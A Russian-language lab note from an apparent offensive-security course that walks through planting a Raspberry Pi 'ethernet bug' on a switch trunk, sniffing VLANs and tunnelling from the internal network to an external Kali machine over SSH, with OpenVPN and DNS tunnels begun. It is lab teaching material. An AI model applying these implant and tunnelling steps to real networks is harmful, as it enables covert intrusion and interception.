---
# System prepended metadata

title: Занятие 3 MSF и типовые вектора атак
tags: ['#module9']

---

###### tags: `#module9`
[ToC]

# Занятие 3 MSF и типовые вектора атак

## Видеозапись урока
{%youtube iKhZ0woiNHY %}

0:00 ждем
0:10:00 Витя и EVE
0:24:00 Что будем делать. Cоздаем тестовый стенд.
0:37:50 Схема, куда подключаемся. Транки. Общие вопросы
0:49:20 Продолжаем стоить стенд. Подключаем Raspberry
0:56:30 Настраиваем Raspberry: ethernet, bridge.
1:06:20 Настраиваем Vlan
1:12:15 Настраиваем firewall
1:15:35 Настраиваем ethernet на рабочих станциях.
1:19:45 Подключаемся к Rp с интернета
1:23:20 Начинаем анализировать трафик. Ищем Vlan
1:27:00 Настраиваем IP адрес на brige для всех Vlan
1:34:25 Туннели
1:54:00 Перерыв
2:03:05 DNS туннель. Теория
2:13:30 DNS туннель. Практика
2:22:52 OpenVPN настройка
2:28:28 краткий повтор что делаем.
2:29:05 подключаем VPN в brige
2:33:00 готовим Rp к перезагрузке
2:45:29 устройства для ethernet жучка.
2:49:10 Как выглядят коммутационные шкафы.
2:50:35 Поднимаем и настраиваем DNS-Tun сервер.
3:01:05 Теория и треп по теме.
3:07:30 Как усложнить использование жучка
3:13:15 Запускаем DNS туннель
3:15:25 Смотрим трафик
3:17:10 OpenVpn over DNS
3:23:00 Заканчиваем. Вопросы.


## Настройка лабы
### Схема стенда для лабораторной работы

на лабу с [занятия #2](https://hackmd.io/@jaberez/rJmCEQqqthttps://hackmd.io/@jaberez/rJmCEQqqt) добавляем новые устройства
 * Rp3(Raspberry) - наш ethernet жучек, размещенный внутри сети.
 * Dns-tun - внешний сервер для создания dns туннеля.
![](https://i.imgur.com/kzf5Mo8.png)

Самое идеальное место подключения, это в разрыв транкового линка между свичами. Если в этом месте мы разместим бридж с дополнительными возможностями, то у нас появляется прекрасная возможность 
- видеть весь проходящий трафик.
- организовать l2 подключение к сети организаци
- имеем шансы избежать блокировок из-за настроек mac-security.
 
![](https://i.imgur.com/3qsQxRn.png)
:::spoiler
![](https://i.imgur.com/W917s0v.png)
![](https://i.imgur.com/TZMJ3OR.png)
:::


### Детали узлов
#### Rp3
![](https://i.imgur.com/cLu04i2.png "rp3")

#### Dns-tun
![](https://i.imgur.com/dGGGSGa.png "Dns-tun")



## Выполнение


### Настраиваем Raspberry: ethernet, bridge.
**Подключаемся к Rp3.**
Смотрим интерфейсы и сопоставляем их.
![](https://i.imgur.com/eLVhVSx.png)
>e0 ---> ens3
>e1 ---> ens4
>e3 ---> ens5

Настраиваем интерфейсы для ens3 и ens4 manual, для интернета по dhcp.
:::info
* static - ip адреса добавляются руками
* manual - без ip адреса, как вариант для добавления в bridge
* dhcp - ip адрес получается автоматически по dhcp
 
[источник](https://wiki.debian.org/NetworkConfiguration)
:::


Для этого открываем ```/etc/network/interfaces``` и проверяем что там есть следующие строки описывающие наши интерфейсы или добавляем их.

```
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface

auto ens3
iface ens3 inet manual

auto ens4
iface ens4 inet manual

auto ens5
iface ens5 inet dhcp
```



Перезагружаем сеть, получаем адрес по dhcp и проверяем интерфейсы.

```
$service networking restart
$dhclient
$ip a
```

```
root@rp3:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
3: ens4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000
    link/ether 00:50:00:00:07:01 brd ff:ff:ff:ff:ff:ff
4: ens5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:00:00:07:02 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.15/24 brd 10.0.0.255 scope global dynamic ens5
       valid_lft 2592068sec preferred_lft 2592068sec
    inet6 fe80::250:ff:fe00:702/64 scope link
       valid_lft forever preferred_lft forever
```

С этого моменты мы можем подключаться удаленно к нашему жучку[Rp3] через доступный ему мобильный интеренет по внешнему адресу ```10.0.0.15```. Сеть ```10.0.0.0/24``` на нашем стенде это интернет. 
Подключаемся мы с внешнего для нашей сети Kali сервера, который тоже подключен к интернету и явлюеться нашей атакующей машиной.

```ssh root@10.0.0.15 ```

:heavy_exclamation_mark: Устанавливаем утилиту, ==без неё дальнейшие шаги невозможны==

```apt install bridge-utils```

:::danger
:exclamation: Обратить внимание обязательно  и проверить

Bridging two connections is easy.I shall avoid the use of the now ==deprecated bridge-utils, and use iproute2 utilities instead==
https://itectec.com/superuser/how-to-bridge-tap-to-eth0-on-raspberry-pi/
:::


Добавим в файл ```/etc/network/interfaces``` следующие настройки
```
auto br0
iface br0 inet manual
```
Перезагрузим сеть
```
$service networking restart
```
Если все сделано верно и нет ошибок, то мы должны получить bridge interface, *обычный самый простой неуправляемый коммутатор/hub*, в котором мы объединили два интерфейса/подключения ens3 ens4

Проверяем. Все отлично. 

```
root@rp3:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
3: ens4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000
    link/ether 00:50:00:00:07:01 brd ff:ff:ff:ff:ff:ff
4: ens5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:00:00:07:02 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.15/24 brd 10.0.0.255 scope global dynamic ens5
       valid_lft 2592068sec preferred_lft 2592068sec
    inet6 fe80::250:ff:fe00:702/64 scope link
       valid_lft forever preferred_lft forever
6: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::250:ff:fe00:700/64 scope link
       valid_lft forever preferred_lft forever
```



### Настраиваем DHCP на pfsense

**Подключаемся к серверу pfsense**, для настройки DHCP для LAN. 
```
FreeBSD/amd64 (pfSense.localdomain) (ttyu0)

pfSense - Netgate Device ID: 5a578e140efbf954f386

*** Welcome to pfSense 2.4.4
ELEASE-p3 (amd64) on pfSense ***

 WAN (wan)       -> em0        -> v4/DHCP4: 10.0.0.17/24
 LAN (lan)       -> em1        -> v4: 192.168.1.1/24

 0) Logout (SSH only)                  9) pfTop
 1) Assign Interfaces                 10) Filter Logs
 2) Set interface(s) IP address       11) Restart webConfigurator
 3) Reset webConfigurator password    12) PHP shell + pfSense tools
 4) Reset to factory defaults         13) Update from console
 5) Reboot system                     14) Enable Secure Shell (sshd)
 6) Halt system                       15) Restore recent configuration
 7) Ping host                         16) Restart PHP-FPM
 8) Shell

```
и выбираем Set interface(s) IP address, дальше указываем наши данные.

```

Enter an option: 2

Available interfaces:

1 - WAN (em0 - dhcp, dhcp6)
2 - LAN (em1 - static)

Enter the number of the interface you wish to configure: 2

Enter the new LAN IPv4 address.  Press <ENTER> for none:
> 192.168.1.1

Subnet masks are entered as bit counts (as in CIDR notation) in pfSense.
e.g. 255.255.255.0 = 24
     255.255.0.0   = 16
     255.0.0.0     = 8

Enter the new LAN IPv4 subnet bit count (1 to 31):
> 24

For a WAN, enter the new LAN IPv4 upstream gateway address.
For a LAN, press <ENTER> for none:
>

Enter the new LAN IPv6 address.  Press <ENTER> for none:
>

Do you want to enable the DHCP server on LAN? (y/n) y
Enter the start address of the IPv4 client address range: 192.168.1.10
Enter the end address of the IPv4 client address range: 192.168.1.100
Disabling IPv6 DHCPD...
Do you want to revert to HTTP as the webConfigurator protocol? (y/n) n

Please wait while the changes are saved to LAN...
 Reloading filter...
 Reloading routing configuration...
 DHCPD...

The IPv4 LAN address has been set to 192.168.1.1/24
You can now access the webConfigurator by opening the following URL in your web browser:
                https://192.168.1.1/

Press <ENTER> to continue.

```
Для проверки **запустим Win7** компьютер и подключимся к нему, так как он у нас находиться в lan

![](https://i.imgur.com/zbWMQgh.png)

ip адрес получен верно. DHCP работает.


### Настраиваем Vlan'ы
Для тестирования работы жучка нам необходимо создать несколько vlan'ов. Эти настройки небходимо выполнить на свиче и на фаерволе.

#### на фаерволе pfsense
**Подключаемся к win7** на которой уже есть ip адрес из внутренней подсети фаервола ```192.168.1.1/24``` и заходим на вебинтерфайс pfsense.
![](https://i.imgur.com/lGB8sgK.png)

Заходим в раздел VLANs 
![](https://i.imgur.com/zFdbFEV.png)

Создаем два Vlan'a
![](https://i.imgur.com/pC3G7t1.png)

Проверяем созданные сети
![](https://i.imgur.com/EDqfrfr.png)

Переходим в Interface Assigment И добавляем два новых интерфейса OPT1 и OPT2
![](https://i.imgur.com/genRtFW.png)

Есть для новых интерфейса
![](https://i.imgur.com/jhNUxxG.png)

Настраиваем их. Для vlan10 с адресом 192.168.10.1, vlan20 -  192.168.20.1
![](https://i.imgur.com/0diiBqf.png)


Применяем
![](https://i.imgur.com/qzvxMAj.png)

Заходим в правила фаервола для наших Vlan'ов
![](https://i.imgur.com/ePGvw2k.png)

Разрешаем трафик для всех протоколов для обоих сетей
![](https://i.imgur.com/qWw1AT3.png)

==после внесенных изменений обязательно нужно применить изменения.==


#### на cisco switch 

**Подключаемся к свичу** и выполняем настройку портов.
```
en
conf t
int e0/0
switchport trunk encapsulation dot1q
switchport mode trunk
int e0/1
switchport mode access
switchport access vlan 20
int e0/2
switchport mode access
switchport access vlan 10
do wr

```

### Настраиваем сеть на локальных компах
#### debian
**Подключаемся к дебиан серверу[Linux]** из 10 сети, настравиваем ip адрес и проверяем
![](https://i.imgur.com/c5pKmLj.png)
```
$service networking restart
$ip a
```
![](https://i.imgur.com/ZGQEPMN.png)
Все работает

#### win10
**Подключаемся к win10**. Открываем cmd as administrator и настраиваем сеть. 
```
netsh interface ipv4 show addresses
netsh interface ipv4 add address "Ethernet" 192.168.20.15 255.255.255.0 gateway=192.168.20.1
```
![](https://i.imgur.com/KE5TQYX.png)



### Анализ трафика ищем Vlan'ы
**Подключаемся к Rp3**
Для анализа можно использовать ```tcpdump```. Если не установлен, ставим его командой:

```apt install tcpdump -y```

https://danielmiessler.com/study/tcpdump/

для начала посмотрим что происходить на нашем hub'e, на bridge интерфейсе br0

```tcpdump -i br0```

```
root@rp3:~# tcpdump -i br0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on br0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:31:14.565555 IP 192.168.10.15 > dns.google: ICMP echo request, id 717, seq 48, length 64
13:31:14.595745 IP dns.google > 192.168.10.15: ICMP echo reply, id 717, seq 48, length 64
13:31:15.571615 IP 192.168.10.15 > dns.google: ICMP echo request, id 717, seq 49, length 64
13:31:15.605043 IP dns.google > 192.168.10.15: ICMP echo reply, id 717, seq 49, length 64
13:31:16.046218 STP 802.1d, Config, Flags [none], bridge-id 800a.aa:bb:cc:00:20:00.8001, length 42
13:31:16.070515 STP 802.1d, Config, Flags [none], bridge-id 8014.aa:bb:cc:00:20:00.8001, length 42
13:31:16.070727 STP 802.1d, Config, Flags [none], bridge-id 8001.aa:bb:cc:00:20:00.8001, length 43
13:31:16.070890 STP 802.1d, Config, Flags [none], bridge-id 8001.aa:bb:cc:00:20:00.8001, length 42
13:31:16.570749 IP 192.168.10.15 > dns.google: ICMP echo request, id 717, seq 50, length 64
13:31:16.607025 IP dns.google > 192.168.10.15: ICMP echo reply, id 717, seq 50, length 64
```

Полученной информации дла анализа мало, используя ключи -v -vv -vvv (verbose) можно увеличить объем выводимой информации.

```
root@rp3:~# tcpdump -i br0 -v
tcpdump: listening on br0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:31:53.649778 IP (tos 0x0, ttl 64, id 44694, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.10.15 > dns.google: ICMP echo request, id 717, seq 87, length 64
13:31:53.689744 IP (tos 0x0, ttl 113, id 0, offset 0, flags [none], proto ICMP (1), length 84)
    dns.google > 192.168.10.15: ICMP echo reply, id 717, seq 87, length 64
13:31:54.142621 STP 802.1d, Config, Flags [none], bridge-id 800a.aa:bb:cc:00:20:00.8001, length 42
        message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s
        root-id 800a.aa:bb:cc:00:20:00, root-pathcost 0
13:31:54.179947 STP 802.1d, Config, Flags [none], bridge-id 8014.aa:bb:cc:00:20:00.8001, length 42
        message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s
        root-id 8014.aa:bb:cc:00:20:00, root-pathcost 0
13:31:54.180057 STP 802.1d, Config, Flags [none], bridge-id 8001.aa:bb:cc:00:20:00.8001, length 43
        message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s
        root-id 8001.aa:bb:cc:00:20:00, root-pathcost 0
13:31:54.180145 STP 802.1d, Config, Flags [none], bridge-id 8001.aa:bb:cc:00:20:00.8001, length 42
        message-age 0.00s, max-age 20.00s, hello-time 2.00s, forwarding-delay 15.00s
        root-id 8001.aa:bb:cc:00:20:00, root-pathcost 0
13:31:54.649632 IP (tos 0x0, ttl 64, id 44912, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.10.15 > dns.google: ICMP echo request, id 717, seq 88, length 64
13:31:54.681563 IP (tos 0x0, ttl 113, id 0, offset 0, flags [none], proto ICMP (1), length 84)
    dns.google > 192.168.10.15: ICMP echo reply, id 717, seq 88, length 64
```

Выполнив команду ```tcpdump -i br0 -e vlan``` мы сможем увидеть настроеные vlan

```
Preparing to unpack .../tcpdump_4.9.3-1~deb10u2_amd64.deb ...
13:48:50.243657 50:00:00:04:00:00 (oui Unknown) > 50:00:00:01:00:01 (oui Unknown), ethertype 802.1Q (0x8100), length 78: vlan 20, p 0, ethertype IPv4, 192.168.20.15 > dns.google: ICMP echo request, id 1, seq 19, length 40
13:48:50.275790 aa:bb:cc:00:20:00 (oui Unknown) > 01:00:0c:cc:cc:cd (oui Unknown), ethertype 802.1Q (0x8100), length 68: vlan 10, p 0, LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Cisco (0x00000c), pid PVST (0x010b), length 42: STP 802.1d, Config, Flags [none], bridge-id 800a.aa:bb:cc:00:20:00.8001, length 42
13:48:50.275969 aa:bb:cc:00:20:00 (oui Unknown) > 01:00:0c:cc:cc:cd (oui Unknown), ethertype 802.1Q (0x8100), length 68: vlan 20, p 0, LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Cisco (0x00000c), pid PVST (0x010b), length 42: STP 802.1d, Config, Flags [none], bridge-id 8014.aa:bb:cc:00:20:00.8001, length 42
13:48:50.366800 00:50:00:00:03:00 (oui Unknown) > 50:00:00:01:00:01 (oui Unknown), ethertype 802.1Q (0x8100), length 102: vlan 10, p 0, ethertype IPv4, 192.168.10.15 > dns.google: ICMP echo request, id 717, seq 1101, length 64
13:48:50.399205 50:00:00:01:00:01 (oui Unknown) > 00:50:00:00:03:00 (oui Unknown), ethertype 802.1Q (0x8100), length 102: vlan 10, p 0, ethertype IPv4, dns.google > 192.168.10.15: ICMP echo reply, id 717, seq 1101, length 64
13:48:51.178756 00:50:00:00:03:00 (oui Unknown) > 50:00:00:01:00:01 (oui Unknown), ethertype 802.1Q (0x8100), length 97: vlan 10, p 0, ethertype IPv4, 192.168.10.15.5
```

13:48:50.243657 50:00:00:04:00:00 (oui Unknown) > 50:00:00:01:00:01 (oui Unknown), ethertype 802.1Q (0x8100), length 78: **vlan 20**, p 0, ethertype IPv4, 192.168.20.15 > dns.google: ICMP echo request, id 1, seq 19, length 40

В приведеном дампе мы видем, что у нас есть vlan10 и vlan20.

Можем отсеить лишную информацию и получить чистые номера vlan и активные ip адреса.
Собираем в файл sort.txt только 4 столбца ```cut -d" " -f14,15,20,22```, после выводим только уникальные записи из файла ```cat sort.txt | sort -u```.


```
root@rp3:~# tcpdump -i br0 -e vlan | cut -d" " -f14,15,20,22 > sort.txt
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on br0, link-type EN10MB (Ethernet), capture size 262144 bytes
^C32616 packets captured
32719 packets received by filter
0 packets dropped by kernel

root@rp3:~# cat sort.txt | sort -u
vlan 10, 192.168.10.15.46840 192.168.125.2.domain:
vlan 10, 192.168.10.15 dns.google:
vlan 10, dns.google 192.168.10.15:
vlan 10, SNAP Individual,
vlan 20, 192.168.20.15.497
vlan 20, 192.168.20.15.49711 67.27.233.254.http:
vlan 20, 67.27.233.254.http 192.168.20.15.49711:
vlan 20, SNAP Individual,
```

В результате анализа мы видим используемые локальные адреса и их vlan'ы и можем выбрать свободные для установки на нашем жучке

:::spoiler для тех кто не ищет легких путей


сохранить дамп для анализа сторонними утилитами.
```
root@rp3:~# tcpdump -i br0 -w dump.pcap
tcpdump: listening on br0, link-type EN10MB (Ethernet), capture size 262144 bytes
^[[A^C87 packets captured
92 packets received by filter
0 packets dropped by kernel
root@rp3:~# ls
dump.pcap
root@rp3:~#
```
после выполнить анализ собранного дампа 
```
tshark -r input.cap -T fields -e vlan.id | sort -n -u
```
:::
<br>

#### добавляем ip адреса из найденных vlan'ов

Исправим файл ```/etc/network/interfaces```, добавим следующие настройки
правим сам br0 и добавляем br0.10 и br0.20
```
auto br0
iface br0 inet static
        address 192.168.1.99/24
        bridge_ports ens3 ens4

auto br0.10
iface br0.10 inet static
        address 192.168.10.99/24

auto br0.20
iface br0.20 inet static
        address 192.168.20.99/24
```

перегружаем сеть ```service networking restart```
проверяем
```
8: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.99/24 brd 192.168.1.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::250:ff:fe00:700/64 scope link
       valid_lft forever preferred_lft forever
9: br0.10@br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.99/24 brd 192.168.10.255 scope global br0.10
       valid_lft forever preferred_lft forever
    inet6 fe80::250:ff:fe00:700/64 scope link
       valid_lft forever preferred_lft forever
10: br0.20@br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:50:00:00:07:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.20.99/24 brd 192.168.20.255 scope global br0.20
       valid_lft forever preferred_lft forever
    inet6 fe80::250:ff:fe00:700/64 scope link
       valid_lft forever preferred_lft forever
root@rp3:~#
```


### ssh туннель. Layer3
[Продвинутое туннелирование: атакуем внутренние узлы корпоративной сети](https://habr.com/ru/post/326148/)
Для доступа к сети организации, используя наш Rp3, мы можем построить layer3 ssh туннель. Это позволит нам без прокси серверов и проброса портов получить доступ к узлам внутри сети.

#### **Настраиваем Kali**.
Открываем ```/etc/ssh/sshd_config``` и разрешаем ```PermitTunnel``` и ```PermitRootLogin```

    PermitTunnel yes
    PermitRootLogin yes

    sed -i -E "s/(#|)(PermitTunnel|PermitRootLogin).*/\2 yes/" /etc/ssh/sshd_config

После правок рестартим ssh

    service ssh restart

Добавляем его в автоматическую загрузку после рестарта

    systemctl enable ssh

Теперь Kali готов принимать подключения для создания туннеля.

#### **Настраиваем Rp3**
Настраиваем роут до нашего внешнего узла Kali ```10.0.0.16``` через фаервол ```192.168.1.1``` 
==с какой целью?==
    
    ip route add 10.0.0.16/32 via 192.168.1.1


Проверяем

```
traceroute to 10.0.0.16 (10.0.0.16), 30 hops max, 60 byte packets
 1  192.168.1.1 (192.168.1.1)  3.269 ms  11.107 ms  8.818 ms
 2  10.0.0.16 (10.0.0.16)  14.546 ms  17.911 ms  20.266 ms
root@rp3:~#
```

Создаем тунель

    ssh -w 5:5 root@10.0.0.16
    
```   
root@rp3:~# ssh -w 5:5 root@10.0.0.16
root@10.0.0.16's password:
Linux kali 5.10.0-kali9-amd64 #1 SMP Debian 5.10.46-4kali1 (2021-08-09) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec 25 11:58:49 2021 from 10.0.0.17
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)
┌──(root💀kali)-[~]
└─# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:00:00:06:00 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.16/24 brd 10.0.0.255 scope global dynamic eth0
       valid_lft 2580698sec preferred_lft 2580698sec
    inet6 fe80::250:ff:fe00:600/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
4: tun5: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN group default qlen 500
    link/none

┌──(root💀kali)-[~]
└─#
```



Подключение установленно. Туннель ```tun5``` создан. **Смотрим на Kali**

>4: tun5: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN group default qlen 500
    link/none

тоже самое **на Rp3 сервере**

>12: tun5: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN group default qlen 500
    link/none

#### Добавляем ip адреса 
Добавляем ip адреса для туннеля **на обоих серверах** и после поднимаем их командой ```ip link set dev tun5 up```

**на Rp3** ```ip ad add 10.99.99.1/30 dev tun5```
```
12: tun5: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 10.99.99.1/30 scope global tun5
       valid_lft forever preferred_lft forever
    inet6 fe80::c68a:1601:b5b9:7980/64 scope link stable-privacy
       valid_lft forever preferred_lft forever
```

**на Kali** ```ip ad add 10.99.99.2/30 dev tun5```
```
4: tun5: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 10.99.99.2/30 scope global tun5
       valid_lft forever preferred_lft forever
    inet6 fe80::fd38:68d2:5dd9:b827/64 scope link stable-privacy
       valid_lft forever preferred_lft forever
```

:exclamation: обязательно поднять интерфейс ==```ip link set dev tun5 up```==

#### роуты и форвардинг
Настраиваем роуты **на Kali** до внутрених сетей через ip адрес tun5 на Rp3

    ip r add 192.168.1.0/24 via 10.99.99.1
    ip r add 192.168.10.0/24 via 10.99.99.1
    ip r add 192.168.20.0/24 via 10.99.99.1

Включаем форвардинг и маскарадинг **на Rp3**.
Открываем файл ```/etc/sysctl.conf``` и раскомментируем строку

    net.ipv4.ip_forward = 1

Проверяем
```
root@rp3:~# sysctl -p
net.ipv4.ip_forward = 1
```

Включаем маскарадинг для всех необходимых нам сетей

    iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
    iptables -t nat -A POSTROUTING -o br0.10 -j MASQUERADE
    iptables -t nat -A POSTROUTING -o br0.20 -j MASQUERADE


Проверяем доступность **с Kali сервера**

```
┌──(root💀kali)-[/home/user]
└─# ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=10.2 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=63 time=12.7 ms
^C
--- 192.168.1.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 10.231/11.448/12.665/1.217 ms

┌──(root💀kali)-[/home/user]
└─# ping 192.168.10.1
PING 192.168.10.1 (192.168.10.1) 56(84) bytes of data.
64 bytes from 192.168.10.1: icmp_seq=1 ttl=63 time=13.4 ms
64 bytes from 192.168.10.1: icmp_seq=2 ttl=63 time=6.98 ms
^C
--- 192.168.10.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 6.981/10.173/13.365/3.192 ms

┌──(root💀kali)-[/home/user]
└─# ping 192.168.20.1
PING 192.168.20.1 (192.168.20.1) 56(84) bytes of data.
64 bytes from 192.168.20.1: icmp_seq=1 ttl=63 time=10.2 ms
64 bytes from 192.168.20.1: icmp_seq=2 ttl=63 time=10.7 ms
64 bytes from 192.168.20.1: icmp_seq=3 ttl=63 time=8.09 ms
^C
```


### DNS туннель. Layer2.
https://www.helpsystems.com/resources/articles/basics-layer-2

Когда доступ наружу для компьтеров и серверов по ssh закрыт, можно использовать другие типы туннелей: icmp, dns, ==...?==

:exclamation: ==может быть полезно.==  как включить промиск режим на интерфейсе. `ip link set eth0 promisc on`

#### ssh

конектимся c RPI к KALI что бы поднялся int tap0, [как описано тут](https://hackmd.io/w98ocuDlQ9-ClTXCss61dg#%D0%BA%D0%BE%D0%BD%D0%B5%D0%BA%D1%82%D0%B8%D0%BC%D1%81%D1%8F-c-RPI-%D0%BA-KALI-%D1%87%D1%82%D0%BE-%D0%B1%D1%8B-%D0%BF%D0%BE%D0%B4%D0%BD%D1%8F%D0%BB%D1%81%D1%8F-int-tap0)

    ssh -o Tunnel=Ethernet -w 0:0 root@10.0.0.16 -fN

#### openvpn
##### установка сервера
Установим openvpn **на Kali сервер** используя [angristan installer](https://github.com/angristan/openvpn-install)
```
curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh
chmod +x openvpn-install.sh
./openvpn-install.sh


```
В обоих случая ```IP address``` и ```Public IPv4 address```  мы прописываем наш ip адрес 10.0.0.16 и больше ни чего не меняем, просто жмём ентер на все вопросы.
```
┌──(root💀kali)-[/home/user]
└─# curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 40585  100 40585    0     0   1257      0  0:00:32  0:00:32 --:--:-- 10316

┌──(root💀kali)-[/home/user]
└─# chmod +x openvpn-install.sh

┌──(root💀kali)-[/home/user]
└─# ./openvpn-install.sh
Welcome to the OpenVPN installer!
The git repository is available at: https://github.com/angristan/openvpn-install

I need to ask you a few questions before starting the setup.
You can leave the default options and just press enter if you are ok with them.

I need to know the IPv4 address of the network interface you want OpenVPN listening to.
Unless your server is behind NAT, it should be your public IPv4 address.
IP address: 10.0.0.16

It seems this server is behind NAT. What is its public IPv4 address or hostname?
We need it for the clients to connect to the server.
Public IPv4 address or hostname: 10.0.0.16

Checking for IPv6 connectivity...

Your host does not appear to have IPv6 connectivity.

Do you want to enable IPv6 support (NAT)? [y/n]: n

What port do you want OpenVPN to listen to?
   1) Default: 1194
   2) Custom
   3) Random [49152-65535]
Port choice [1-3]: 1

What protocol do you want OpenVPN to use?
UDP is faster. Unless it is not available, you shouldn't use TCP.
   1) UDP
   2) TCP
Protocol [1-2]: 1

What DNS resolvers do you want to use with the VPN?
   1) Current system resolvers (from /etc/resolv.conf)
   2) Self-hosted DNS Resolver (Unbound)
   3) Cloudflare (Anycast: worldwide)
   4) Quad9 (Anycast: worldwide)
   5) Quad9 uncensored (Anycast: worldwide)
   6) FDN (France)
   7) DNS.WATCH (Germany)
   8) OpenDNS (Anycast: worldwide)
   9) Google (Anycast: worldwide)
   10) Yandex Basic (Russia)
   11) AdGuard DNS (Anycast: worldwide)
   12) NextDNS (Anycast: worldwide)
   13) Custom
DNS [1-12]: 11

Do you want to use compression? It is not recommended since the VORACLE attack makes use of it.
Enable compression? [y/n]: n

Do you want to customize encryption settings?
Unless you know what you're doing, you should stick with the default parameters provided by the script.
Note that whatever you choose, all the choices presented in the script are safe. (Unlike OpenVPN's defaults)
See https://github.com/angristan/openvpn-install#security-and-encryption to learn more.

Customize encryption settings? [y/n]: n

Okay, that was all I needed. We are ready to setup your OpenVPN server now.
You will be able to generate a client at the end of the installation.
Press any key to continue...
```

Под конец выполнения скрипта необходимо ввести имя пользователя и пароль для конфигурации если он нужен.
```
Tell me a name for the client.
The name must consist of alphanumeric character. It may also include an underscore or a dash.
Client name: v

Do you want to protect the configuration file with a password?
(e.g. encrypt the private key with a password)
   1) Add a passwordless client
   2) Use a password for the client
Select an option [1-2]: 1

Note: using Easy-RSA configuration from: /etc/openvpn/easy-rsa/vars
